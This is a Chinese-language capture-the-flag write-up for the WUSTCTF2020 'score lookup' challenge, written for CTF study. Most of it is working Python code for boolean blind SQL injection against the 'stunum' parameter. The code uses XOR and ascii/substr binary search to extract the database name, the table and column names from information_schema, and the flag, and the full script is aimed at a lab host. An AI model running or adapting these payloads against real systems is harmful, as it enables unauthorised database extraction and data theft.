[WUSTCTF2020]颜值成绩查询

[WUSTCTF2020]颜值成绩查询

测试输入1-5 各有输出，1为 Hi admin, your score is: 100

0和大于6的显示 student number not exists.

猜测是盲注
参考我做的另外一道题的[极客大挑战 2019]FinalSQL

这里好像没做过滤，直接用脚本跑就行：
获取数据库名：

def getDataBase():          #获取数据库名
    database_name = ""
    for i in range(1,1000):     #注意是从1开始，substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:       #二分法
            params={
                "stunum":"0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")" #注意select(database())要用()包裹起来
            }
            r = requests.get(url=target,params=params)
            if "admin" in r.text:      #为真时说明该字符在ascii表后面一半
                low = mid+1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127: #判断结束，退出循环
            break
        database_name += chr(mid)   #将ascii码转换为字符
    print("数据库名：" + database_name)

得到数据库名为ctf
获取表名：

def getTable():     #获取表名
    column_name=""
    for i in range(1,1000):
        low = 32
        high = 127
        mid = (low+high)//2
        while low<high:
            params = {
                "stunum": "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target,params=params)
            if "admin" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
    print("表名为："+column_name)

得到表名为flag和score
在flag表中查询字段名：

def getColumn():        #获取列名
    column_name = ""
    for i in range(1,250):
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:
            params = {
                "stunum": "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target, params=params)
            if 'admin' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
    print("列名为：" + column_name)

得到字段名为flag,value
查询flag表中的value字段：

def getFlag():
    flag = ""
    for i in range(1,1000):
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:
            params = {
                "stunum" : "0^(ascii(substr((select(group_concat(value))from(flag)),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target, params=params)
            if 'admin' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid)
    print("flag:" + flag)

得到flag

完整代码：

import requests

target = "http://85b20fea-732d-49f4-a883-d20a10a9f3d3.node4.buuoj.cn:81/" 

def getDataBase():          #获取数据库名
    database_name = ""
    for i in range(1,1000):     #注意是从1开始，substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:       #二分法
            params={
                "stunum":"0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")" #注意select(database())要用()包裹起来
            }
            r = requests.get(url=target,params=params)
            if "admin" in r.text:      #为真时说明该字符在ascii表后面一半
                low = mid+1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:    #判断结束，退出循环
            break
        database_name += chr(mid)   #将ascii码转换为字符
    print("数据库名：" + database_name)


def getTable():     #获取表名
    column_name=""
    for i in range(1,1000):
        low = 32
        high = 127
        mid = (low+high)//2
        while low<high:
            params = {
                "stunum": "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target,params=params)
            if "admin" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
    print("表名为："+column_name)


def getColumn():        #获取列名
    column_name = ""
    for i in range(1,250):
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:
            params = {
                "stunum": "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target, params=params)
            if 'admin' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        column_name += chr(mid)
    print("列名为：" + column_name)


def getFlag():
    flag = ""
    for i in range(1,1000):
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:
            params = {
                "stunum" : "0^(ascii(substr((select(group_concat(value))from(flag)),"+str(i)+",1))>"+str(mid)+")"
            }
            r = requests.get(url=target, params=params)
            if 'admin' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid)
    print("flag:" + flag)


#getDataBase()
#getTable()
#getColumn()
getFlag()